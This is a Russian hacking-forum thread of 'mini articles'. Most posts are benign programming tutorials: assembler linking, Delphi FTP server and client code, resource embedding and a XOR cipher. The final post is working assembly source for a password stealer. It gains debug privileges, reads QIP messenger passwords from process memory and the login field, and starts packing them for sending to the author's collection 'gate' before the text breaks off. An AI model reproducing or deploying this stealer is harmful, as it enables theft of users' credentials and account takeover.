мини СТАТЬИ

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by De-visible, 6 May 2008.

  1. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    --=Здесь размещаем статьи по данной тематике=--

    ***

    Правила топика:

    1)Обсуждения не здесь, не будем засорять тему...
    2)Запрещено размещать чужие статьи,пишем свои...(В том числе изменять чужие, и размещать измененные)
    3)Все исходные коды обязательно должны помещаться в теги [code.]...
    4)Копировать сюда свои работы, уже опубликованные в разделе СТАТЬИ - запрещено...
    5)Пишем все на русском языке(в том числе //комментарии)
    6)Вся статья должна вмещаться в один пост...
    7)Не забывайте, что главная тема:Безопасность WEB - интерфейсов(Информационная безопасность), статьи должны быть по этим темам...
    8)Правила будут пополняться со временем...



    И помните красивое оформление у нас только приветствуется


    Статьи не соответствующие правилам будут удаляться...
    Хорошие статьи будут поощряться(Каждому +)


    (c) De-visible




    ============================




    Все возникшие вопросы в ЛИЧКУ!
     
    #1 De-visible, 6 May 2008
    Last edited: 27 Sep 2008
    mztrp, Mescalito, Nightmarе and 12 others like this.
  2. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Карта статей:


    1. Assembler. Создание программы путем объединения объектных модулей и библиотек
    Автор:
    Dober'man
    2. FTP - сервер. "Мини статья" о том как создать простейший FTP-сервер (для новичков)
    Автор:
    Dober'man
    3. RST киллер или все через "призму" WinPCap
    Автор:
    Delimiter
    4. Получение *.RES файла. Добавление в него *.EXE, *.DLL файлов, с последующим извлечением на DELPHI 7.
    Автор:
    Dr.KoD
    5. Assembler. Простейший алгоритм шифрования строк (для новичков)
    Автор:
    Dober'man
    6. DELPHI. Пишем FTP клиент на Delphi с помощью WinSock API.
    Автор:
    Dr.KoD
    7. Assembler Выдирание пароля из QIP
    Автор:
    slesh
    8. Delphi .Net Читаем COM-порт в 1C с помощью Delphi .Net
    Автор:
    dos999
    9. C# Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5)
    Автор:
    merax
    10. Delphi (WinSock) Vkontakte авторизация [DELPHI (WinSock) ]
    Автор:
    De-visible
    11. WinApi Папка "Избранное", скрытая угроза!
    Автор:
    merax
    12. Delphi Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть
    Автор:
    ronald
    13. Delphi Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
    Автор:
    slesh
    14. C# Решение проблемы с drag&drop
    Автор:
    scrat
    15. Assembler Взлом компьютерной мышки
    Автор:
    -m0rgan-
    16. C# Использование плагинов в .NET
    Автор:
    W!z@rD
    17. C# используем Parallel Extensions для .Net
    Автор:
    jawbreaker
    18. C++ Микро Статья для начинающих в кодинге по работе с мукулом.
    Автор:
    Shaitan-Devil
    19. Delphi Использование ресурсов (Delphi)
    Автор:
    W!z@rD
    20. C# Отправка e-mail на С#
    Автор:
    jawbreaker
    21. C/C++ Измерение температуры процессора AMD64
    Автор:
    0x0c0de
    22. C/C++/ASM [Voltage ID]
    Автор:
    0x0c0de
    23. JS MSDN с человеческим лицом, или "low-bandwidth view"
    Автор:
    W!z@rD
    24. C++ Создаём скрытое консольное приложение
    Автор:
    jawbreaker
    25. C# Перебор пароля по словарю. MD5-хеш (C#)
    Автор:
    c0n Difesa
    26. C/C++ Операция “перехват”. Используем открытый сокет другого процесса.
    Автор:
    Gar|k
    27. C/C++ Системный вызов stat. (Linux)
    Автор:
    --StraNger--
    28. C# Определение ТИЦ
    Автор:
    W!z@rD
    29. C/C++ Пример простейшего сниффера для W2K/XP.
    Автор:
    skippp
    30. Delphi [Delphi] IP+cведения о системе на e-mail и ICQ
    Автор:
    =Zeus=
    31. All Для начинающих: Об оформлении атрибутики программ
    Автор:
    begin_end
     
    #2 De-visible, 6 May 2008
    Last edited: 20 Aug 2011
    5 people like this.
  3. Dober'man

    Dober'man Banned

    Joined:
    16 Jul 2007
    Messages:
    70
    Likes Received:
    94
    Reputations:
    -8
    Assembler
    Создание программы путем объединения объектных модулей и библиотек
    by Doberman


    с краткими пояснениями...
    Code:
    ; модуль prog.asm (главный, именно он содержит метку START,
    ; с которой начнется выполнение программы )
    .586P
    ; плоская модель памяти
    .MODEL FLAT, STDCALL
    ;-------------------------------------------------
    ; объявление внешней переменной и процедур
    EXTERN  L:DWORD
    EXTERN  PROC1@0:NEAR
    EXTERN  PROC2@0:NEAR
    EXTERN  PROC3@0NEAR
    INCLUDELIB  MASM.LIB
    ; сегмент данных
    DATA  SEGMENT
    ; здесь будут располагаться переменные 
    DATA  ENDS
    ; сегмент кода
    DATA  SEGMENT
    ; здесь будет располагаться ассемблерный код проги 
    START:
    MOV  L, 256
    CALL  PROC1@0
    PUSH  EAX
    CALL  PROC2@0
    PUSH  EAX
    PUSH  EAX
    CALL  PROC3@0
    RET
    TEXT  ENDS
    END  START
    
    ; модуль prog1.asm
    .586P
    ; плоская модель памяти
    .MODEL  FLAT, STDCALL
    PUBLIC  PROC1, L
    ;-----------------------------------------------
    ; сегмент данных
    DATA  SEGMENT
    ; здесь будут располагаться переменные
    L  DWORD  ?
    DATA  ENDS
    ; сегмент кода
    TEXT  SEGMENT
    PROC1 PROC
                MOV EAX,L
                RET
    PROC1 ENDP
    TEXT  ENDS
    END
    
    ; модуль prog2.asm
    .586P
    ; плоская модель памяти
    .MODEL FLAT, STDCALL
    ;------------------------------------------------
    ; сегиент кода
    TEXT  SEGMENT
    PROC2 PROC
                PUSH EBP
                MOV EBP,ESP
                MOV EAX,DWORD PTR [EBP+8]
                ADD EAX,100
                MOV ESP,EBP
                POP EBP
                RET 4
    PROC2 ENDP
    TEXT ENDS
    END
    
    ; модуль prog2.asm
    .586P
    ; плоская модель памяти
    .MODEL FLAT, STDCALL
    ;-----------------------------------------------
    PUBLIC PROC3
    ; сегмент кода
    TEXT SEGMENT
    PROC3 PROC
                PUSH EBP
                MOV EBP,ESP
                MOV EAX,DWORD PTR [EBP+8]
                ADD EAX,DWORD PTR [EBP+12]
                MOV ESP,EBP
                RET 8
    PROC3 ENDP
    TEXT ENDS
    END
    
    Для того чтобы из модулей получить программу, следует выполнить такие команды:
    Code:
    ML /m /coff prog.asm
    - в результате будет создан объектный модуль prog.obj
    Code:
    ML /m /coff prog1.asm
    - prog1.obj
    Code:
    ML /m /coff prog2.asm
    - prog2.obj
    Code:
    ML /m /coff prog3.asm
    - prog3.obj
    Code:
    LINK -LIB prog3.obj /out:masm.lib
    - в результате будет создана объектная библиотека masm.lib
    Code:
    LINK /subsystem:console prog.obj prog1.obj prog2.obj
    - в результате компоновки будет создан исполняемый модуль prog.exe

    Модули prog1.asm и prog2.asm должны быть преобразованы к объектному виду, а потом скомпонованы в prog.obj. Модуль prog3.obj после преобразования его к объектному виду помещается в объектную библиотеку, которая затем используется при компоновке, благодаря директиве INCLUDEDIR в тексте prog.asm.
     
    #3 Dober'man, 7 May 2008
    Last edited: 7 May 2008
    2 people like this.
  4. Dober'man

    Dober'man Banned

    Joined:
    16 Jul 2007
    Messages:
    70
    Likes Received:
    94
    Reputations:
    -8
    FTP-сервер​

    "Мини статья" о том как создать простейший FTP-сервер ​
    (для новичков)
    by Doberman​



    Наш FTP-сервер будет работать по TFTP протоколу(TrivialFTP).

    Первым делом разместим на форме компонент TIdTrivialFTPServer (со вкладки Indy Servers) хранящий в себе всю базовую функциональность FTP-сервера. Порт используемый протоколом TFTP по умолчанию, - 69. Свойство BufferSize определяет значение буфера.
    Перевод FTP-сервера в активное состояние осуществляется в момент создания формы:
    Code:
    procedure TForm1.FormCreate(Sender: TObject);
    begin
      IdTrivialFTPServer1.Active := true;
    end;
    При обращении к серверу с запросом о передаче или приеме файла генерируется сообщение OnReadFile или OnWriteFile. В обоих случаюх понадобится записать всего по одному оператору, присваивающему параметру этого обработчика AStream (тип TStream) соответствующее значение файлового потока. Такой поток либо открывается для чтения, либо этот файл создается на компе, а его содержимое принимается из сети:
    Code:
    procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;
      var FileName: String; const PeerInfo: TPeerInfo;
      var GrantAccess: Boolean; var AStream: TStream;
      var FreeStreamOnComplete: Boolean);
    begin
      AStream := TFileStream.Create(FileName, fmOpenRead);
    end;
    
    procedure TForm1.IdTrivialFTPServer1WriteFile(Sender: TObject;
      var FileName: String; const PeerInfo: TPeerInfo;
      var GrantAccess: Boolean; var AStream: TStream;
      var FreeStreamOnComplete: Boolean);
    begin
      AStream := TFileStream.Create(FileName, fmCreate);
    end;
    В качестве FTP-клиента возьмем готовый пример из /Demos/Indy/TrivialFTPClient. В нем используем компонент TIdTrivialFTP, представляющий собой клиентскую FTP-программу.
    Загрузка файла с сервера и передача его серверу происходит в результате нажатия кнопок btnDownload и btnUpload. Весь процесс приема и передачи файлов выполняется автоматически с помощью двух методов Get и Put компонента TIdTrivialFTP:
    Code:
    procedure Get(const ASourceFile: string; ADest: TStream);
    procedure Put(const ASource: TStream; const ADestFile: string; const AAppend: Boolean);
    
    ASourceFile - название файла, расположенного на удаленном FTP-сервере.
    ADest - название локального файла.
    AAppend - принимает true, если происходит запись в конец уже существующего файла.


    Может кто-то и скажет, что таких в сети немерено (баян)....но я старался пояснить код когда писал его =)
     
    #4 Dober'man, 7 May 2008
    Last edited: 7 May 2008
    3 people like this.
  5. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    ПОЛУЧЕНИЕ *.RES ФАЙЛА, ДОБАВЛЕНИЕ В НЕГО *.EXE, *.DLL ФАЙЛОВ, С ПОСЛЕДУЮЩИМ ИЗВЕЛЕЧЕНИЕМ НА DELPHI 7.

    Не судите строго это моя 1 статья и расчитана она на начинающих кодеров. Ну чтож начнем.

    Для начала создайте папку и разместите в ней следующие файлы:
    1. brcc32.exe (берем этот файл в этой папке D:\Program Files\Borland\Delphi7\Bin);
    2. Создаем файл primer.rc, в котором мы укажем какие файлы мы будем добавлять в файл res;
    3. Создаем compile.bat им мы будим собирать наш res файл;
    4. Ну и естественно тот файл, который мы будем помещать в ресурсы,( у меня ResFile.exe).

    Все с великим копи пастом мы закончили, теперь поработаем чуток клавой.
    Для начала откроем файл primer.rc блокнотом и запишем в нем следующую строку:

    "ResFile EXEFILE ResFile.exe"( без кавычек естесно).

    Теперь объясню что тут к чему:
    1. ResFile - это имя нашего ресурса в res файле, к которому мы будем обращаться и в котором хранится наш файл;
    2. EXEFILE - тип файла(папка в файле *.res), он ни на что не влияет и служит для удобства поиска данных в фале ресурсов, чаще всего его имя соответствует типу находящихся в нем данных, но может быть и любым другим;
    3. ResFile.exe - это файл, который мы добавляем в файл ресурсов.
    Закрываем и сохраняем файл primer.rc.
    Теперь откроем compile.bat(тож блокнотом) и пишем тауую строчку:

    "brcc32 primer.rc"

    Этой командой мы получим файл primer.res после запуска compile.bat.
    Сохраняем и закрываем compile.bat, запустите, в папке вы должны увидеть primer.res.
    Теперь переходим к кодингу, запускаем Delphi создаем новый проект и пишем следующий код:
    Code:
    implementation
    {$R *.dfm}
    {$R primer.RES} //наш файл с ресурсами
    
    function ExtractResFile(ResType, ResName, ExeFileName:string): Boolean; // данная функция будет извлекать из primer.RES наш exe файл
    var
      Res: TResourceStream; // переменная для доступа к ресурсам
    begin
      Res := TResourceStream.Create(Hinstance, ResName, PChar(ResType)); // получаем доступ к ресурсам, загружаем
      try
        Res.SavetoFile(ExeFileName); // и сохраняем их в файл
        Result := True;
      finally
        Res.Free; // освобождаем
      end;
    end;
    Теперь кинем на форму Button1 и пишем в ней следующий код:
    Code:
    procedure TForm1.BitBtn1Click(Sender: TObject);
    var
    FileName:string; // переменная, в которой будет храниться имя конечного файла.
    begin
    FileName:='ResFile.exe';//имя файла
    ExtractResFile('EXEFILE', 'ResFile', FileName ); //извлекаем файл ResFile.exe
    end;
    Для проведения таких же манипуляций с *.dll или с любым другим файлом, можно использовать этот же код, только в место ехе файла подставите свою dll.
    Если вы захотите разместить несколько файлов в одном файле ресурсов, то для доступа к ним потребуется использовать разные TResourceStream, но это если вы захотите получить доступ к нескольким файлам ресурса в рамках одной процедуры или функции.
     
    2 people like this.
  6. Dober'man

    Dober'man Banned

    Joined:
    16 Jul 2007
    Messages:
    70
    Likes Received:
    94
    Reputations:
    -8
    Assembler
    Простейший алгоритм шифрования строк (для новичков)
    Тут же добавлю: усложняется знаниями асма (небольшими) и математики...​

    by Doberman

    Немного теории...

    Многие кодеры знают об уникальном свойстве реверсивности команды XOR:
    если её выполнить дважды с одним и тем же операндом, то значение результата инвертируется.
    А это значит, что мы можем воспользоваться свойством реверсивности операции
    исключающего ИЛИ для выполнения простого шифрования данных.
    В процессе шифрования исходная строка, введенная пользователем с клавиатуры,
    преобразовывается в непонятный набор байтов с помощью другой строки, называемой ключом.
    Зашифрованный текст можно сохранять или передавать адресату, не опасаясь, что кто-то сможет её прочитать.
    Получив зашифрованный текст, авторизованный пользователь после дешифрования сможет прочесть первоначальный текст.
    Ну с этим пока все просто... =)


    Начнем...

    Я приведу пример программы использующей метод симметричного шифрования,
    т.е. для шифрования и расшифровки используется один и тот же ключ.


    Опишу АЛГОРИТМ ПРОГРАММЫ:

    * С клавиатуры вводится исходное сообщение.
    * Программа в цикле выполняет шифрование каждого байта исходной строки.
    ___ с помощью одного и того же ключа, размером в один символ.
    ___ В результате получается зашифрованное. сообщение.
    * Программа выполняет расшифровку сообщения и отображает расшифрованное.


    Ну и собственно сама программа...

    ***********************************************************************************************

    Code:
    TITLE  Программа шифрования       (Encrypt.asm)
    Задаем значение ключа (от 1 до 255)
    и максимальный размер буфера


    Code:
    INCLUDE Irvine32.inc
    KEY = 239
    BUFMAX = 128
    Code:
    .data
    sPrompt     BYTE         "Введите исходное сообщение:  ",0
    sEncrypt    BYTE         "Зашифрованный текст:  ",0
    sDecrypt    BYTE         "Расшифрованный текст  ",0
    buffer      BYTE          BUFMAX dup(0)
    bufSize     DWORD     ?
    - вводим исходную строку
    - зашифровываем
    - отображаем
    - расшифровываем
    - отображаем


    Code:
    .code
    main PROC 
       call  InputTheString
       call  TranslateBuffer
    
       mov  edx, OFFSET sEncrypt
       call  DisplayMessage
    
       call  TranslateBuffer
    
       mov  edx, OFFSET sDecrypt
       call  DisplayMessage
       exit
    main ENDP
    Code:
    InputTheString PROC
    - выводим приглашение на ввод строки с клавиатуры.
    - сохраняем строку и ее длину в соответствующих переменных


    Code:
    pushad
    mov  edx, OFFSET buffer
    call  WriteString
    
    mov  ecx, BUFMAN
    
    mov  edx, OFFSET buffer
    call  ReadString
    mov  bufsize, eax
    call  CrLf
    popad
    ret
    
    InputTheString  ENDP
    Code:
    DisplayMessage PROC
    - выводим на экран зашифр.- и расшифр.- ованную строки

    Code:
    pushad
    call  WriteString
    mov  edx, OFFSET buffer
    call  WriteString
    call  CrLf
    call  CrLf
    popad
    ret
    
    DisplayMessage ENDP 
    Code:
    TranslateBuffer PROC
    - преобразуем строку, выполнив операцию ИСКЛЮЧАЮЩЕГО ИЛИ каждого байта
    с обним и тем же целым числом, т.е. ключом


    Code:
    pushad
    mov  ecx, bufSize
    mov  esi, 0
    
    L1:
       xor  buffer[esi], KEY
       inc  esi
    
    loop  L1
    popad
    ret
    
    TranslateBuffer ENDP
    
    END main
    ***********************************************************************************************
     
    1 person likes this.
  7. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Пишем FTP клиент на Delphi с помощью WinSock API. Часть 1

    Наконец то у меня дошли руки чтобы написать эту статью, вернее одну из ее частей( будет 2 или 3 части). Думаю данная тема будет интересна многим людям, т.к. информации о написании фтп клиента с использованием WinSock API практически нет(ну а если есть у кого какие ссылки по этому вопросу скиньте в личку), и когда начинающие кодеры задают вопрос на эту тему их практически всегда посылают читать протокол фтп(RFC 959) ну или советуют пользоваться WinInet или индейцами.
    Свою статью я не на целиваю на новичков в программировании, вы должны знать хотябы основы WinSock API и иметь навыки программирования в Delphi.

    Для начала я вам советую почитать о FTP протоколе, вот несколько сайтов где вы можете получить некоторую информацию:
    http://book.itep.ru/4/45/ftp_454.htm
    http://athena.vvsu.ru/docs/tcpip/rfc/rfc959.txt
    http://sources.ru/protocols/ftp_learning.shtml
    http://www.soslan.ru/tcp/tcp27.html

    В 1 Части мы реализуем следующие функции нашего фтп клиента:
    1. Создадим соединение с фтп сервером;
    2. Напишем процедуру отправки команд FTP серверу;
    3. Научимся получать ответы от него.

    Ну чтож приступим:
    Создайте новый роект, для удобства мы будем использовать VCL(он нам нужен будет для интерфейса), чтобы мы могли непосредственно заниматься написанием кода фтп клиента, а не заниматься еще и кодингом формы и остальной байды. В последствии вы сможете без труда перенести все функции в любое свое приложение.


    Для начала после uses зададим константу:
    Code:
    const
        WM_MYSOCKMESS = WM_USER+1;
    и объявим следующие переменные:

    Code:
    var
      Form1: TForm1;
        WSADt:TWSADATA;
        ClSocket:TSocket;//Сокет для соединения клиента с сервером
        ClAddr:sockaddr_in;//Структура sockaddr_in, которая содержит днные для соединения с фтп сервером(семейство протоколов, адрес, порт)
        TempSock:TSocket;//Сокет передачи данных
    Для того чтобы нам работать с библиотекой WinSock нам ее нужно для начала инициализировать, для этого щелкаем по форме и пишем следующий код в событии OnCreate:

    Code:
    if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then     //инициализируем WinSock
     begin
      ShowMessage('Ошибка иеициализации WinSock'); //Выводим сообщение если неудалось инициализировать WinSock и
      Application.Terminate;		      //Убиваем нашу прогу
     end;
    Первое, что нам понадобиться это написать процедуру, которая будет отправлять команды ftp серверу, она будет востребована практически во всех функциях и процедурах отвечающих за прием и получение данных, а также выполнение каких либо действий на ftp сервере:

    Code:
    procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string);      // s- сокет для отправки данных, command - команды фтп 
    var							     //сервера(о них более подробно вы можете прочитать в описании протокола фтп RFC 959)
     buff: array [0..1024] of Char;
    begin
     command:=command+#13#10;       //Добавим к строке FTP команды символы конца строки и перевода каретки
     CopyMemory(@buff, pchar(command), length(command));      //Копируем в buff данные 
     if send(s, buff, length(command),0)=SOCKET_ERROR then   //попытаемся отправить данные
     begin
      Exit;						       //и при неудаче выйдем
     end;
    end;
    
    Теперь мы перейдем к написанию процедуры с помощью, которой мы будем подключаться к ftp серверу, тут все просто до безобразия:

    Code:
    procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,
      userp: string);			      //userps- пароль
    begin
    
      ClSocket:=SOCKET(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет
     if ClSocket=INVALID_SOCKET then		     //  При возникновении ошибки
     begin
      Exit;						   //   Выйдем из процедуры
     end;
     ClAddr.sin_family:=AF_INET; //Указываем протокол
     ClAddr.sin_addr.S_addr:=inet_addr(pchar(ftpsrv));//Указываем адрес удаленного сервера
     ClAddr.sin_port:=htons(StrToInt(port));//Указываем порт
     WSAAsyncSelect(ClSocket, handle, WM_MYSOCKMESS, FD_READ); // Переводим сокет в асинхронный режим. Устанавливаем наблюдение за прибытием данных(FD_READ)
     Connect(ClSocket, ClAddr, sizeof(ClAddr));     //устанавливаем соединение
     Sleep(100); // установим задержку
     SendCommandFtpSrv(ClSocket, 'USER '+usern);  //Отправим логин
     SendCommandFtpSrv(ClSocket, 'PASS '+userp); //отправим пароль
     SendCommandFtpSrv(ClSocket, 'FEAT');
    end;
    
    Для того, что бы нам быть в курсе как происходит "общение" с ftp сервером, т.е. получать ответы и выводить их на экран, это нам нужно прежде всего для того чтобы в случае неправильной команды или неправильного выполненного какого либо действия, мы могли видеть, что именно ненравится серверу и устранить проблему. Для этого напишем процедуру получения данных от сервера, разместим на форме RichEdit он нам понадобится для отображения ответов и перейдем к выполнению поставленной задачи:

    Code:
    procedure TForm1.RecvS(sock: TSocket);
    var
      bsrv:array[0..5000] of char;// переменные для хранения данных
      strcl:string;		       //-----//-----
    begin
     Fillchar(bsrv, sizeof(bsrv), 0);//Очищаем буфер
     if recv(sock, bsrv, sizeof(bsrv), 0)=SOCKET_ERROR then //Делаем попытку получить данные
     begin
      Exit;						         // если попытка неудачна, то выходим из процедуры
     end;
     strcl:=bsrv; 	     //Пришедщие в bsrv скопируем в strcl 
     if pos('221', strcl)>0 then //Проверяем ответы пришедшие с сервера
     begin
       ShutDown(sock, SD_BOTH);  //Сообщим о прекращении соединения
       CloseSocket(sock);       //Закрываем сокет
     end;
    {тут мы просто пишем код, который отображает полученные данные в RichEdit :) }
     while pos(#13, strcl)>0 do
     begin
      RichEdit1.Lines.Add(copy(strcl, 1, pos(#13, strcl)));
      Delete(strcl, 1, pos(#13, strcl)+1);
     end;
    end;
    Может показаться, что все уже готово, но если мы соберем в кучу весь код мы не увидим в RichEdit ничего,что свидетельствовало о том, что мы подключились к серверу, хотя мы к нему и подключились, но почему же тогда мы не видим приходящих ответов от сервера, для этих целей нам нужно написать процедуру перехватывающую сообщения WM_MYSOCKMESS, они появляются тогда, когда на определенном сокете возникают какие либо события:

    Code:
    procedure TForm1.MSGSocket(var Mess: TMessage);
    begin
       case Mess.LParam of
        FD_ACCEPT:
        begin
          TempSock:=accept(Mess.WParam, nil, nil); //Для получения данных, мы переводим socket в асинхронный режим и устанавливаем
          WSAAsyncSelect(TempSock, handle, WM_MYSOCKMESS, FD_READ+FD_CLOSE);//наблюдение за событиями  и FD_CLOSE(когда мы отрубаемся от сервака)
        end;
        FD_READ:  RecvS(Mess.WParam); //Данные мы получим с помощью описанной выше процедуры RecvS
        FD_CLOSE: CloseSocket(Mess.WParam); //Закроем сокет при отключении клиента
       end;
    end;
    Переходим к завершающему этапу кодинга, разместим на форме 2 кнопкb и в событии OnClick:

    в 1 кнопке пишем:

    Code:
    ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');
    Во 2 кнопке:

    Code:
    SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с сервером
    Для того, чтобы не возникли лишние вопросы, расскажу как все это собрать. После слова private
    перечислите названия всех используемых процедур(думаю все знают как это делать, ну а не знаете это уже ваши проблемы), которые мы написали, но даже после этого вы скажете, что код нефига не пашет, поэтому отвечу сразу на этот вопрос процедура MSGSocket после слова private будет иметь следующий вид:
    Code:
    procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;
    
    На сим 1 часть статьи о написании Ftp клиента я завершаю.

    P.S. О чем я напишу во 2 и 3 частях:
    Ну тут будет пожалуй самое интересное, такое как загрузка файлов на фтп сервер, скачивание файлов, переход по папкам, удаление файлов, кароче постепенно я постараюсь выложить достаточно приличный фтп клиент.

    -------------------------
    De-V: СТАТЬЯ В КОНКУРСЕ
     
    #7 Dr.KoD, 23 May 2008
    Last edited by a moderator: 27 May 2008
    2 people like this.
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Выдирание пароля из Qip

    Выдирание пароля из QIP
    Методы:
    1. Напрямую копирование из памяти
    2. Чтение из поля ввода пароля

    Алгоритм работы:
    1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом:
    Code:
    proc SetDBG
     push ebp
     mov ebp,esp ; сохраним значение стека
     sub esp,24h ; выделим место в стеке под переменные
     invoke OpenProcessToken, -1, 28h, esp 
     test eax,eax 
     jz @F
     lea eax, [esp+8]
     invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ; 
     test eax,eax
     jz @F
     mov dword [esp+14h],1
     mov eax, [esp+8]
     mov [esp+18h], eax
     mov eax, [esp+0Ch]
     mov [esp+1Ch], eax
     mov dword [esp+20h], 2
     lea eax, [esp+10h]
     push eax
     lea eax, [esp+18h]
     push eax
     push 10h
     lea eax, [esp+20h]
     push eax
     push 0
     mov eax, [esp+14h]
     push eax
     call [AdjustTokenPrivileges] ; установка привелегии
    @@:
     leave
     ret
    endp
    
    2. Чтение пароля из памяти QIP
    Code:
    proc QIP_MEM
     invoke FindWindow,TMainForm,0 ; ищем окно QIP
    QIP_MEM_next:
     test eax,eax
     mov [h],eax  ; сохраним handle 
     jz QIP_MEM_exit 
     invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
     cmp dword [buf],'[qip' ; проверим правильность
     jne QIP_MEM_next1
     invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
     stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
     stdcall AddToBuf,dvoetochie ; разделитель
     stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
     stdcall AddToBuf,buf ; закинем в буфер полученный пароль
     stdcall AddToBuf,tzap ; разделитель записей
    QIP_MEM_next1:
     invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
     jmp QIP_MEM_next
    QIP_MEM_exit:
     ret
    endp
    
    Теперь разберем непосредственно функцию чтения пароля из памяти:
    Code:
    proc GetPas,PID
     stdcall GetFileVer,[PID] ; для начала получаем версию файла
     xor ecx,ecx
     dec ecx
    GetPas_m1:
     inc ecx
     cmp ecx,8
     je GetPas_exit
     cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией 
     jne GetPas_m1
    ; nтепер мы знаем offset по которому лежит пас.
     stdcall ReadData,[PID],[ADR_MAS+ecx*4]  читаем пас
    GetPas_exit:
     ret
    endp
    
    Таблица соотношения версии файла и offseta:
    VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h
    ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch

    Для определения версии файла используем функцию:
    Code:
    proc GetFileVer,PID
     invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
     test eax,eax
     jz GetFileVer_exit
     mov [Handle],eax
     mov ebx,[MODULEENTRY32]
     mov dword [ebx],548
     invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
     test eax,eax
     jz GetFileVer_exit
     invoke CloseHandle,[Handle] ж закрое дискриптор
     add ebx,288 ; смещение на имя файла
     invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
     test eax,eax
     jz GetFileVer_exit
     mov [Size],eax
     invoke HeapAlloc,[myheap],0,eax
     mov [RezBuffer],eax
     invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
     test eax,eax
     jz GetFileVer_exit
     invoke VerQueryValue,[RezBuffer], slash,  FixedFileInfoBuf, Size ; получаем версию файла
     test eax,eax
     jz GetFileVer_exit
    ;  конвертируем значения в удобный  для нас вид
     mov ebx,[FixedFileInfoBuf]
     mov eax,[ebx+8]
     shr eax,16
     mov byte [Size+3],al
     mov eax,[ebx+8]
     mov byte [Size+2],al
     mov eax,[ebx+12]
     shr eax,16
     mov byte [Size+1],al
     mov eax,[ebx+12]
     mov byte [Size],al
     mov eax,[Size]
    GetFileVer_exit:
     ret
    endp
    
    Чтение осуществим следующим образом:
    Code:
    proc ReadData PID,ADR
     invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
     test eax,eax
     jz ReadData_exit
     mov [hp],eax
     invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
     invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
     invoke CloseHandle,[hp]
    ReadData_exit:
     ret
    endp
    
    3. Чтение пароля из поля ввода
    Code:
    proc QIP_WND
     invoke FindWindow,TManForm,0 ; найдем окно
    cicle2:
     test eax,eax
     jz QIP_WND_exit
     push eax
     stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
     pop eax
     invoke GetWindow,eax,2 ; ищем следующее окно
     jmp cicle2
    QIP_WND_exit:
     ret
    endp
    
    Непосредственно процедуру чтения оформим так:
    Code:
    proc QIP_WND_GETPASS,hManForm
     invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
     test eax,eax
     jz QIP_WND_GETPASS_exit
     push eax
     invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок  UIN
     test eax,eax
     jz QIP_WND_GETPASS_exit
     invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
     xor ecx,ecx
    cicle: ; отделяем UIN от лишнего текста
     cmp ecx,20
     je nextt
     inc ecx
     cmp byte [buf+ecx],' '
     jne cicle
     mov byte [buf+ecx],0
    nextt:
     stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
     pop eax
     invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
     test eax,eax
     jz QIP_WND_GETPASS_exit
     invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
     stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
     stdcall AddToBuf,buf ; добавим к буферу
     stdcall AddToBuf,tzap ; конец записи
    QIP_WND_GETPASS_exit:
     ret
    endp
    
    4. Теперь необходимо отправить всю полученную информацию
    Code:
     invoke lstrlen,[buffer] ; получим длинну наших данных
     test eax,eax
     jnz dalee
     invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
    dalee: ; для удобства отправки переведем полученный буфер в HEX
     mov [Size],eax ; размер буфера
     shl eax,2 ;  умножим на 2. т.к. данных станет в 2 раза больше
     invoke HeapAlloc,[myheap],0,eax ; выделим память
     invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
     dec edx
     xor ecx,ecx
    cicle4: ; преборазование в HEX
     mov eax,[buffer]
